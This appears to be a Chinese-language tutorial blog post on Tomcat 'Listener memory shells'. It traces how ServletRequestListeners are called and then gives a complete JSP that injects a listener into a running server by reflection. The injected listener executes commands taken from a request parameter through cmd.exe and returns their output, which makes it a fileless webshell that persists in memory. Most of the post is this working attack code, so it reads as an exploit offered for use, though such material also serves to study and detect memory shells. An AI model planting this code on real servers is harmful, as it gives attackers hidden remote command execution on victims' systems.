0%

Listener内存马

前言

讲解Listener内存马原理,和简单实现

Listener加载原理


还是这张图,Listener是在最开始就被创建的

Listener一共有8个监听器接口,但是由于内存马的特殊性,一般是在ServletRequestListener接口进行内存马注入,该接口用于监听 ServletRequest 对象的创建和销毁过程,而每次访问服务器都会触发此接口

调试

前期准备可以看看Filter内存马的文章

先写一个Listener的容器,实现了ServletRequestListener接口,用注解的方式进行注册

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import javax.servlet.ServletRequestEvent;
import javax.servlet.ServletRequestListener;
import javax.servlet.annotation.WebListener;

@WebListener
public class TestListener implements ServletRequestListener {
@Override
public void requestInitialized(ServletRequestEvent sre) {
System.out.println("执行了TestListener requestInitialized");
}

@Override
public void requestDestroyed(ServletRequestEvent sre) {
System.out.println("执行了TestListener requestDestroyed");
}
}

在requestInitialized处打上断点,根据调用栈,可以知道是context.fireRequestInitEvent(request.getRequest())进行了初始化

context是由request.getContext();初始化,在后续利用需要

进入context.fireRequestInitEvent函数,可以看到是由listener进行了监听器初始化,且listener来源于getApplicationEventListeners();

内存马实现

通过上面的分析,我们可以知道,只需要往applicationEventListenersList中加入我们的Listener对象就可以了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.util.Scanner" %>
<%@ page import="java.io.IOException" %>
<%@ page import="java.util.List" %>

<%!
public class MyListener implements ServletRequestListener {
public void requestDestroyed(ServletRequestEvent sre) {
HttpServletRequest req = (HttpServletRequest) sre.getServletRequest();
if (req.getParameter("cmdl") != null){
InputStream in = null;
try {
in = Runtime.getRuntime().exec(new String[]{"cmd.exe","/c",req.getParameter("cmd")}).getInputStream();
Scanner s = new Scanner(in).useDelimiter("\\A");
String out = s.hasNext()?s.next():"";
Field requestF = req.getClass().getDeclaredField("request");
requestF.setAccessible(true);
Request request = (Request)requestF.get(req);
request.getResponse().getWriter().write(out);
}
catch (IOException e) {}
catch (NoSuchFieldException e) {}
catch (IllegalAccessException e) {}
}
}

public void requestInitialized(ServletRequestEvent sre) {}
}
%>

<%
Field reqF = request.getClass().getDeclaredField("request");
reqF.setAccessible(true);
Request req = (Request) reqF.get(request);
StandardContext context = (StandardContext) req.getContext();
Field aELL = context.getClass().getDeclaredField("applicationEventListenersList");
aELL.setAccessible(true);
List applicationEventListenersList = (List)aELL.get(context);
MyListener listenerDemo = new MyListener();
applicationEventListenersList.add(listenerDemo);
%>

根据前面的分析,context是由request.getContext();得到的,所以写内存马的时候也可以通过同样的方式获取

增加applicationEventListenersList,这里我是通过反射的方式获取到了private属性的applicationEventListenersList,然后进行了一次add
当然也可以通过context提供的成员方法进行修改

1
standardContext.addApplicationEventListener(listenerDemo);

参考文章